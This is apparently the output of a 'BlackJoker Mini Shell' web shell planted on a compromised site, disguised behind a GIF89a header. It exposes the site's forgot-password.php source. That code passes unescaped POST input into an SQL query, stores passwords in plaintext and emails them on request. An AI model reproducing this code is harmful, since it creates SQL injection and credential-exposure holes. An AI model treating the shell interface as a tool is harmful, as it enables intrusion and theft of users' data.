GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/forgot-password.php

<?  session_start();
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	
?>
<? include "includes/header_top.php";?>
<script language="javascript">
	function validate()
	{
		
		if((document.f2.emailAddrs.value.indexOf('@',0)<1)||(document.f2.emailAddrs.value.indexOf('.',0)<1))
		{
			alert("Enter any valid email address");
			document.f1.emailAddrs.focus();
			return false;
		}
		
	}
</script>

<?
 if($_POST)
  {
	  $qur="SELECT * FROM user_info WHERE email='".$_POST['emailAddrs']."'" ;
	  $res=execute_query($qur);
	  $num=mysql_num_rows($res);
	  $row=mysql_fetch_array($res);
	  if($num>0)
	  {
		$to=$_POST['emailAddrs'];
		$subject="Password retrival mail from Escortservice";
		$body="Thank you for requesting password from Escortservice. Your account Password:".$row['password']."\r\n";
		// $from="admin@escortservice.org";
    sendEmail($to, $subject, $body);
		// mail($to,$subject,$body,$from);
		?>
    <script language="javascript">
		location.href="forgot-password.php?msg=1";
	</script>   
    <?
	  }
	  else
	  {
	?>
		<script language="javascript">
            location.href="forgot-password.php?err=1";
        </script>   
    <? 
	  }
  }
?>				

<body>
<? include "includes/header.php";?>
<div class="main_bg">
	<div style="height:32px;"></div>
    <div  style="width:1000px; margin:0 auto;">
    	<div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Password Retrive
                    </div>
                    <div class="stdtls_midder">
                    	<div style="width:990px; height:330px;">
                        	
                          	 <form action="<?=$_SERVER['PHP_SELF'] ?>"  method="post" name="f2" style="margin: 0px; padding: 0px;" onSubmit="return validate();">
							<input name="submit_form" value="1" type="hidden">
                             
                             <table class="join_table2" border="0" cellpadding="0" cellspacing="0">
                                     <tr height="70">
                                      <td colspan="3">
                                      	<? if($_GET['err']==1){ ?>
                                            <p style="color:#FF0000; text-align:center; ">Invalid Email Address.</p>
                                        <? } ?>
                                        <? if($_GET['msg']==1){ ?>
                                            <p class="passwordmsg">Your Password has been sent to your E-mail..</p>
                                        <? } ?>
                                      
                                       </td>
                                      
                                     </tr>
                                     <tr>
                                      <td class="name_align">Email Address :&nbsp;</td>
                                      <td><input name="emailAddrs" id="email" class="main_input"  type="text"></td>
                                      <td></td>
                                     </tr>         
                                     <tr>
                                      <td></td>
                                      <td>
                                       <input src="images/submit.png" type="image"  style="margin-left:20px;"/>
                                      </td>
                                      <td></td>
                                     </tr>
                                     <tr>
                                      <td></td>
                                      <td></td>
                                      <td></td>
                                     </tr>
                                     <tr>
                                      <td></td>
                                      <td></td>
                                      <td></td>
                                     </tr>
                                </table>
                                </form>
                          </div>
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
    
    </div>

</div>

 <? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0